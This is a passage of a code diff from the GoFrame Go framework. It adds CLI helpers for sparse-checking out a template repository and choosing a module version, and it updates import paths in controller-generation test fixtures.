+		mlog.Debugf("sparse-checkout set failed, trying legacy method...")
+		if err := runCmd(ctx, cloneDir, "git", "sparse-checkout", "init", "--cone"); err != nil {
+			if err := gfile.Remove(tempDir); err != nil {
+				mlog.Debugf("Failed to remove temp directory: %v", err)
+			}
+			return "", nil, fmt.Errorf("git sparse-checkout init (legacy) failed: %w", err)
+		}
+		if err := runCmd(ctx, cloneDir, "git", "sparse-checkout", "set", info.SubPath); err != nil {
+			if err := gfile.Remove(tempDir); err != nil {
+				mlog.Debugf("Failed to remove temp directory: %v", err)
+			}
+			return "", nil, fmt.Errorf("git sparse-checkout set (legacy) failed: %w", err)
+		}
+	}
+
+	// 3. Checkout the branch
+	if err := runCmd(ctx, cloneDir, "git", "checkout", info.Branch); err != nil {
+		// Try master if main fails
+		if info.Branch == "main" {
+			mlog.Debugf("Branch 'main' not found, trying 'master'...")
+			info.Branch = "master"
+			if err := runCmd(ctx, cloneDir, "git", "checkout", "master"); err != nil {
+				if err := gfile.Remove(tempDir); err != nil {
+					mlog.Debugf("Failed to remove temp directory: %v", err)
+				}
+				return "", nil, fmt.Errorf("git checkout failed: %w", err)
+			}
+		} else {
+			if err := gfile.Remove(tempDir); err != nil {
+				mlog.Debugf("Failed to remove temp directory: %v", err)
+			}
+			return "", nil, fmt.Errorf("git checkout failed: %w", err)
+		}
+	}
+
+	// Return the path to the subdirectory
+	subDirPath := filepath.Join(cloneDir, info.SubPath)
+	if !gfile.Exists(subDirPath) {
+		if err := gfile.Remove(tempDir); err != nil {
+			mlog.Debugf("Failed to remove temp directory: %v", err)
+		}
+		return "", nil, fmt.Errorf("subdirectory not found: %s", info.SubPath)
+	}
+
+	mlog.Debugf("Subdirectory located at: %s", subDirPath)
+	return subDirPath, info, nil
+}
+
+// GetModuleNameFromGoMod reads module name from go.mod file
+func GetModuleNameFromGoMod(dir string) string {
+	goModPath := filepath.Join(dir, "go.mod")
+	if !gfile.Exists(goModPath) {
+		return ""
+	}
+
+	content := gfile.GetContents(goModPath)
+	lines := gstr.Split(content, "\n")
+	for _, line := range lines {
+		line = strings.TrimSpace(line)
+		if after, ok := strings.CutPrefix(line, "module "); ok {
+			return strings.TrimSpace(after)
+		}
+	}
+	return ""
+}

cmd/gf/internal/cmd/geninit/geninit_selector.go

@@ -0,0 +1,99 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package geninit
+
+import (
+	"bufio"
+	"context"
+	"fmt"
+	"os"
+	"strconv"
+	"strings"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+)
+
+// SelectVersion prompts user to select a version interactively
+func SelectVersion(ctx context.Context, versions []string, modulePath string) (string, error) {
+	if len(versions) == 0 {
+		return "", fmt.Errorf("no versions available for selection")
+	}
+
+	if len(versions) == 1 {
+		mlog.Printf("Only one version available: %s", versions[0])
+		return versions[0], nil
+	}
+
+	// Display available versions
+	fmt.Printf("\nAvailable versions for %s:\n", modulePath)
+	fmt.Println(strings.Repeat("-", 40))
+
+	// Show versions with index (newest first)
+	maxDisplay := 20 // Limit display to avoid overwhelming output
+	displayCount := len(versions)
+	if displayCount > maxDisplay {
+		displayCount = maxDisplay
+	}
+
+	for i := 0; i < displayCount; i++ {
+		marker := ""
+		if i == 0 {
+			marker = " (latest)"
+		}
+		fmt.Printf("  [%2d] %s%s\n", i+1, versions[i], marker)
+	}
+
+	if len(versions) > maxDisplay {
+		fmt.Printf("  ... and %d more versions\n", len(versions)-maxDisplay)
+	}
+
+	fmt.Println(strings.Repeat("-", 40))
+
+	// Prompt for selection
+	reader := bufio.NewReader(os.Stdin)
+	for {
+		fmt.Printf("Select version [1-%d] or enter version string (default: 1 for latest): ", displayCount)
+
+		input, err := reader.ReadString('\n')
+		if err != nil {
+			return "", fmt.Errorf("failed to read input: %w", err)
+		}
+
+		input = strings.TrimSpace(input)
+
+		// Default to latest
+		if input == "" {
+			fmt.Printf("Selected: %s (latest)\n", versions[0])
+			return versions[0], nil
+		}
+
+		// Try parsing as number first
+		idx, err := strconv.Atoi(input)
+		if err == nil {
+			// Valid number - check if in range
+			if idx >= 1 && idx <= len(versions) {
+				// Allow selection from all versions, not just displayed ones
+				selected := versions[idx-1]
+				fmt.Printf("Selected: %s\n", selected)
+				return selected, nil
+			} else if idx < 1 || idx > displayCount {
+				fmt.Printf("Invalid selection. Please enter a number between 1 and %d, or type a version string.\n", displayCount)
+				continue
+			}
+		} else {
+			// Try matching the input as a version string (e.g., "v1.2.3")
+			for _, v := range versions {
+				if v == input || strings.Contains(v, input) {
+					fmt.Printf("Selected: %s\n", v)
+					return v, nil
+				}
+			}
+			fmt.Printf("Version '%s' not found. Please select by number or type a valid version string.\n", input)
+			continue
+		}
+	}
+}

cmd/gf/internal/cmd/geninit/geninit_version.go

@@ -0,0 +1,138 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package geninit
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"os/exec"
+	"sort"
+	"strings"
+
+	"golang.org/x/mod/semver"
+
+	"github.com/gogf/gf/v2/os/gfile"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+)
+
+// VersionInfo contains module version information
+type VersionInfo struct {
+	Module   string   `json:"module"`
+	Versions []string `json:"versions"`
+	Latest   string   `json:"latest"`
+}
+
+// GetModuleVersions fetches available versions for a Go module
+func GetModuleVersions(ctx context.Context, modulePath string) (*VersionInfo, error) {
+	// Create a temporary directory for go list
+	tempDir := gfile.Temp("gf-init-version")
+	if tempDir == "" {
+		return nil, fmt.Errorf("failed to create temporary directory for go list")
+	}
+	if err := gfile.Mkdir(tempDir); err != nil {
+		return nil, err
+	}
+	defer func() {
+		if err := gfile.Remove(tempDir); err != nil {
+			mlog.Debugf("Failed to remove temp directory: %v", err)
+		}
+	}()
+
+	// Initialize a temp go module
+	if err := runCmd(ctx, tempDir, "go", "mod", "init", "temp"); err != nil {
+		return nil, fmt.Errorf("failed to init temp module: %w", err)
+	}
+
+	// Get versions using go list -m -versions
+	cmd := exec.CommandContext(ctx, "go", "list", "-m", "-versions", modulePath)
+	cmd.Dir = tempDir
+	output, err := cmd.Output()
+	if err != nil {
+		// Try with @latest to see if module exists
+		mlog.Debugf("go list -versions failed, trying @latest: %v", err)
+		return getLatestOnly(ctx, tempDir, modulePath)
+	}
+
+	// Parse output: "module/path v1.0.0 v1.1.0 v2.0.0"
+	parts := strings.Fields(strings.TrimSpace(string(output)))
+	if len(parts) < 1 {
+		return nil, fmt.Errorf("no version information found for %s", modulePath)
+	}
+
+	info := &VersionInfo{
+		Module:   parts[0],
+		Versions: []string{},
+	}
+
+	if len(parts) > 1 {
+		info.Versions = parts[1:]
+		// Sort versions in descending order (newest first)
+		sort.Slice(info.Versions, func(i, j int) bool {
+			return semver.Compare(info.Versions[i], info.Versions[j]) > 0
+		})
+		info.Latest = info.Versions[0]
+	}
+
+	// If no tagged versions, try to get latest
+	if len(info.Versions) == 0 {
+		latestInfo, err := getLatestOnly(ctx, tempDir, modulePath)
+		if err != nil {
+			return nil, err
+		}
+		info.Latest = latestInfo.Latest
+		if latestInfo.Latest != "" {
+			info.Versions = []string{latestInfo.Latest}
+		}
+	}
+
+	return info, nil
+}
+
+// getLatestOnly gets only the latest version when go list -versions fails
+func getLatestOnly(ctx context.Context, tempDir, modulePath string) (*VersionInfo, error) {
+	// Try go list -m modulePath@latest
+	cmd := exec.CommandContext(ctx, "go", "list", "-m", "-json", modulePath+"@latest")
+	cmd.Dir = tempDir
+	output, err := cmd.Output()
+	if err != nil {
+		// Try without @latest
+		cmd = exec.CommandContext(ctx, "go", "list", "-m", "-json", modulePath)
+		cmd.Dir = tempDir
+		output, err = cmd.Output()
+		if err != nil {
+			return nil, fmt.Errorf("failed to get module info for %s: %w", modulePath, err)
+		}
+	}
+
+	var modInfo struct {
+		Path    string `json:"Path"`
+		Version string `json:"Version"`
+	}
+	if err := json.Unmarshal(output, &modInfo); err != nil {
+		return nil, fmt.Errorf("failed to parse module info: %w", err)
+	}
+
+	return &VersionInfo{
+		Module:   modInfo.Path,
+		Versions: []string{modInfo.Version},
+		Latest:   modInfo.Version,
+	}, nil
+}
+
+// GetLatestVersion returns the latest version of a module
+func GetLatestVersion(ctx context.Context, modulePath string) (string, error) {
+	info, err := GetModuleVersions(ctx, modulePath)
+	if err != nil {
+		return "", err
+	}
+	if info.Latest == "" {
+		return "", fmt.Errorf("no version found for %s", modulePath)
+	}
+	return info.Latest, nil
+}

cmd/gf/internal/cmd/testdata/build/varmap/go.mod

@@ -4,7 +4,7 @@ go 1.23.0
 
 toolchain go1.24.6
 
-require github.com/gogf/gf/v2 v2.9.6
+require github.com/gogf/gf/v2 v2.9.7
 
 require (
 	go.opentelemetry.io/otel v1.38.0 // indirect

cmd/gf/internal/cmd/testdata/fix/fix25_content.go

@@ -1,13 +1,10 @@
 package testdata
 
 import (
-	"fmt"
 	"testing"
-	"time"
 
 	"github.com/gogf/gf/v2/frame/g"
 	"github.com/gogf/gf/v2/net/ghttp"
-	"github.com/gogf/gf/v2/test/gtest"
 	"github.com/gogf/gf/v2/util/guid"
 )
 

cmd/gf/internal/cmd/testdata/genctrl/default/api/article/article_expect.go

@@ -7,8 +7,8 @@ package article
 import (
 	"context"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article/v1"
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article/v2"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article/v2"
 )
 
 type IArticleV1 interface {

cmd/gf/internal/cmd/testdata/genctrl/default/controller/article/article_new.go

@@ -5,7 +5,7 @@
 package article
 
 import (
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article"
 )
 
 type ControllerV1 struct{}

cmd/gf/internal/cmd/testdata/genctrl/default/controller/article/article_v1_create.go

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article/v1"
 )
 
 // Create add title.

cmd/gf/internal/cmd/testdata/genctrl/default/controller/article/article_v1_get_list.go

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article/v1"
 )
 
 func (c *ControllerV1) GetList(ctx context.Context, req *v1.GetListReq) (res *v1.GetListRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/default/controller/article/article_v1_get_one.go

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article/v1"
 )
 
 func (c *ControllerV1) GetOne(ctx context.Context, req *v1.GetOneReq) (res *v1.GetOneRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/default/controller/article/article_v1_update.go

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article/v1"
 )
 
 func (c *ControllerV1) Update(ctx context.Context, req *v1.UpdateReq) (res *v1.UpdateRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/default/controller/article/article_v2_create.go

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article/v2"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article/v2"
 )
 
 func (c *ControllerV2) Create(ctx context.Context, req *v2.CreateReq) (res *v2.CreateRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/default/controller/article/article_v2_update.go

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/api/article/v2"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/default/api/article/v2"
 )
 
 func (c *ControllerV2) Update(ctx context.Context, req *v2.UpdateReq) (res *v2.UpdateRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_ctrl/api/dict/dict_add_new_ctrl_expect.gotest

@@ -7,7 +7,7 @@ package dict
 import (
 	"context"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_ctrl/api/dict/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_ctrl/api/dict/v1"
 )
 
 type IDictV1 interface {

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_ctrl/api/dict/dict_expect.go

@@ -7,7 +7,7 @@ package dict
 import (
 	"context"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_ctrl/api/dict/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_ctrl/api/dict/v1"
 )
 
 type IDictV1 interface {

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_ctrl/controller/dict/dict_new.go

@@ -5,7 +5,7 @@
 package dict
 
 import (
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_ctrl/api/dict"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_ctrl/api/dict"
 )
 
 type ControllerV1 struct{}

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_ctrl/controller/dict/dict_v1_dict_type.go

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_ctrl/api/dict/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_ctrl/api/dict/v1"
 )
 
 func (c *ControllerV1) DictTypeAddPage(ctx context.Context, req *v1.DictTypeAddPageReq) (res *v1.DictTypeAddPageRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_ctrl/controller/dict/dict_v1_test_new.gotest

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_ctrl/api/dict/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_ctrl/api/dict/v1"
 )
 
 func (c *ControllerV1) DictTypeAddPage(ctx context.Context, req *v1.DictTypeAddPageReq) (res *v1.DictTypeAddPageRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_file/api/dict/dict_add_new_ctrl_expect.gotest

@@ -7,7 +7,7 @@ package dict
 import (
 	"context"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_ctrl/api/dict/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_ctrl/api/dict/v1"
 )
 
 type IDictV1 interface {

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_file/api/dict/dict_expect.go

@@ -7,7 +7,7 @@ package dict
 import (
 	"context"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_file/api/dict/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_file/api/dict/v1"
 )
 
 type IDictV1 interface {

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_file/controller/dict/dict_new.go

@@ -5,7 +5,7 @@
 package dict
 
 import (
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_file/api/dict"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_file/api/dict"
 )
 
 type ControllerV1 struct{}

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_file/controller/dict/dict_v1_dict_type.go

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_file/api/dict/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_file/api/dict/v1"
 )
 
 func (c *ControllerV1) DictTypeAddPage(ctx context.Context, req *v1.DictTypeAddPageReq) (res *v1.DictTypeAddPageRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/merge/add_new_file/controller/dict/dict_v1_test_new.gotest

@@ -6,7 +6,7 @@ import (
 	"github.com/gogf/gf/v2/errors/gcode"
 	"github.com/gogf/gf/v2/errors/gerror"
 
-	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl-merge/add_new_file/api/dict/v1"
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/merge/add_new_file/api/dict/v1"
 )
 
 func (c *ControllerV1) DictTypeAdd(ctx context.Context, req *v1.DictTypeAddReq) (res *v1.DictTypeAddRes, err error) {

cmd/gf/internal/cmd/testdata/genctrl/multi/api/admin/article/article_expect.go

@@ -0,0 +1,15 @@
+// =================================================================================
+// Code generated and maintained by GoFrame CLI tool. DO NOT EDIT.
+// =================================================================================
+
+package article
+
+import (
+	"context"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/admin/article/v1"
+)
+
+type IArticleV1 interface {
+	Create(ctx context.Context, req *v1.CreateReq) (res *v1.CreateRes, err error)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/api/admin/article/v1/edit.go

@@ -0,0 +1,19 @@
+// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package v1
+
+import "github.com/gogf/gf/v2/frame/g"
+
+type (
+	// CreateReq add title.
+	CreateReq struct {
+		g.Meta `path:"/article/create" method:"post" tags:"ArticleService"`
+		Title  string `v:"required"`
+	}
+
+	CreateRes struct{}
+)

cmd/gf/internal/cmd/testdata/genctrl/multi/api/admin/user/user_expect.go

@@ -0,0 +1,15 @@
+// =================================================================================
+// Code generated and maintained by GoFrame CLI tool. DO NOT EDIT.
+// =================================================================================
+
+package user
+
+import (
+	"context"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/admin/user/v1"
+)
+
+type IUserV1 interface {
+	Create(ctx context.Context, req *v1.CreateReq) (res *v1.CreateRes, err error)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/api/admin/user/v1/edit.go

@@ -0,0 +1,19 @@
+// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package v1
+
+import "github.com/gogf/gf/v2/frame/g"
+
+type (
+	// CreateReq add title.
+	CreateReq struct {
+		g.Meta `path:"/article/create" method:"post" tags:"ArticleService"`
+		Title  string `v:"required"`
+	}
+
+	CreateRes struct{}
+)

cmd/gf/internal/cmd/testdata/genctrl/multi/api/app/user/user_expect.go

@@ -0,0 +1,16 @@
+// =================================================================================
+// Code generated and maintained by GoFrame CLI tool. DO NOT EDIT.
+// =================================================================================
+
+package user
+
+import (
+	"context"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/app/user/v1"
+)
+
+type IUserV1 interface {
+	Create(ctx context.Context, req *v1.CreateReq) (res *v1.CreateRes, err error)
+	Update(ctx context.Context, req *v1.UpdateReq) (res *v1.UpdateRes, err error)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/api/app/user/user_ext/user_ext_expect.go

@@ -0,0 +1,16 @@
+// =================================================================================
+// Code generated and maintained by GoFrame CLI tool. DO NOT EDIT.
+// =================================================================================
+
+package user_ext
+
+import (
+	"context"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/app/user/user_ext/v1"
+)
+
+type IUserExtV1 interface {
+	Create(ctx context.Context, req *v1.CreateReq) (res *v1.CreateRes, err error)
+	Update(ctx context.Context, req *v1.UpdateReq) (res *v1.UpdateRes, err error)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/api/app/user/user_ext/v1/edit.go

@@ -0,0 +1,28 @@
+// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package v1
+
+import "github.com/gogf/gf/v2/frame/g"
+
+type (
+	// CreateReq add title.
+	CreateReq struct {
+		g.Meta `path:"/article/create" method:"post" tags:"ArticleService"`
+		Title  string `v:"required"`
+	}
+
+	CreateRes struct{}
+)
+
+type (
+	UpdateReq struct {
+		g.Meta `path:"/article/update" method:"post" tags:"ArticleService"`
+		Title  string `v:"required"`
+	}
+
+	UpdateRes struct{}
+)

cmd/gf/internal/cmd/testdata/genctrl/multi/api/app/user/v1/edit.go

@@ -0,0 +1,28 @@
+// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package v1
+
+import "github.com/gogf/gf/v2/frame/g"
+
+type (
+	// CreateReq add title.
+	CreateReq struct {
+		g.Meta `path:"/article/create" method:"post" tags:"ArticleService"`
+		Title  string `v:"required"`
+	}
+
+	CreateRes struct{}
+)
+
+type (
+	UpdateReq struct {
+		g.Meta `path:"/article/update" method:"post" tags:"ArticleService"`
+		Title  string `v:"required"`
+	}
+
+	UpdateRes struct{}
+)

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/admin/article/article.go

@@ -0,0 +1,5 @@
+// =================================================================================
+// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
+// =================================================================================
+
+package article

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/admin/article/article_new.go

@@ -0,0 +1,15 @@
+// =================================================================================
+// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
+// =================================================================================
+
+package article
+
+import (
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/admin/article"
+)
+
+type ControllerV1 struct{}
+
+func NewV1() article.IArticleV1 {
+	return &ControllerV1{}
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/admin/article/article_v1_create.go

@@ -0,0 +1,15 @@
+package article
+
+import (
+	"context"
+
+	"github.com/gogf/gf/v2/errors/gcode"
+	"github.com/gogf/gf/v2/errors/gerror"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/admin/article/v1"
+)
+
+// Create add title.
+func (c *ControllerV1) Create(ctx context.Context, req *v1.CreateReq) (res *v1.CreateRes, err error) {
+	return nil, gerror.NewCode(gcode.CodeNotImplemented)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/admin/user/user.go

@@ -0,0 +1,5 @@
+// =================================================================================
+// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
+// =================================================================================
+
+package user

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/admin/user/user_new.go

@@ -0,0 +1,15 @@
+// =================================================================================
+// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
+// =================================================================================
+
+package user
+
+import (
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/admin/user"
+)
+
+type ControllerV1 struct{}
+
+func NewV1() user.IUserV1 {
+	return &ControllerV1{}
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/admin/user/user_v1_create.go

@@ -0,0 +1,15 @@
+package user
+
+import (
+	"context"
+
+	"github.com/gogf/gf/v2/errors/gcode"
+	"github.com/gogf/gf/v2/errors/gerror"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/admin/user/v1"
+)
+
+// Create add title.
+func (c *ControllerV1) Create(ctx context.Context, req *v1.CreateReq) (res *v1.CreateRes, err error) {
+	return nil, gerror.NewCode(gcode.CodeNotImplemented)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/app/user/user.go

@@ -0,0 +1,5 @@
+// =================================================================================
+// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
+// =================================================================================
+
+package user

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/app/user/user_ext/user_ext.go

@@ -0,0 +1,5 @@
+// =================================================================================
+// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
+// =================================================================================
+
+package user_ext

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/app/user/user_ext/user_ext_new.go

@@ -0,0 +1,15 @@
+// =================================================================================
+// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
+// =================================================================================
+
+package user_ext
+
+import (
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/app/user/user_ext"
+)
+
+type ControllerV1 struct{}
+
+func NewV1() user_ext.IUserExtV1 {
+	return &ControllerV1{}
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/app/user/user_ext/user_ext_v1_create.go

@@ -0,0 +1,15 @@
+package user_ext
+
+import (
+	"context"
+
+	"github.com/gogf/gf/v2/errors/gcode"
+	"github.com/gogf/gf/v2/errors/gerror"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/app/user/user_ext/v1"
+)
+
+// Create add title.
+func (c *ControllerV1) Create(ctx context.Context, req *v1.CreateReq) (res *v1.CreateRes, err error) {
+	return nil, gerror.NewCode(gcode.CodeNotImplemented)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/app/user/user_ext/user_ext_v1_update.go

@@ -0,0 +1,14 @@
+package user_ext
+
+import (
+	"context"
+
+	"github.com/gogf/gf/v2/errors/gcode"
+	"github.com/gogf/gf/v2/errors/gerror"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/app/user/user_ext/v1"
+)
+
+func (c *ControllerV1) Update(ctx context.Context, req *v1.UpdateReq) (res *v1.UpdateRes, err error) {
+	return nil, gerror.NewCode(gcode.CodeNotImplemented)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/app/user/user_new.go

@@ -0,0 +1,15 @@
+// =================================================================================
+// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
+// =================================================================================
+
+package user
+
+import (
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/app/user"
+)
+
+type ControllerV1 struct{}
+
+func NewV1() user.IUserV1 {
+	return &ControllerV1{}
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/app/user/user_v1_create.go

@@ -0,0 +1,15 @@
+package user
+
+import (
+	"context"
+
+	"github.com/gogf/gf/v2/errors/gcode"
+	"github.com/gogf/gf/v2/errors/gerror"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/app/user/v1"
+)
+
+// Create add title.
+func (c *ControllerV1) Create(ctx context.Context, req *v1.CreateReq) (res *v1.CreateRes, err error) {
+	return nil, gerror.NewCode(gcode.CodeNotImplemented)
+}

cmd/gf/internal/cmd/testdata/genctrl/multi/controller/app/user/user_v1_update.go

@@ -0,0 +1,14 @@
+package user
+
+import (
+	"context"
+
+	"github.com/gogf/gf/v2/errors/gcode"
+	"github.com/gogf/gf/v2/errors/gerror"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genctrl/multi/api/app/user/v1"
+)
+
+func (c *ControllerV1) Update(ctx context.Context, req *v1.UpdateReq) (res *v1.UpdateRes, err error) {
+	return nil, gerror.NewCode(gcode.CodeNotImplemented)
+}

container/gmap/gmap_hash_k_v_map.go

@@ -17,19 +17,29 @@ import (
 	"github.com/gogf/gf/v2/util/gconv"
 )
 
+// NilChecker is a function that checks whether the given value is nil.
+type NilChecker[V any] func(V) bool
+
 // KVMap wraps map type `map[K]V` and provides more map features.
 type KVMap[K comparable, V any] struct {
-	mu   rwmutex.RWMutex
-	data map[K]V
+	mu         rwmutex.RWMutex
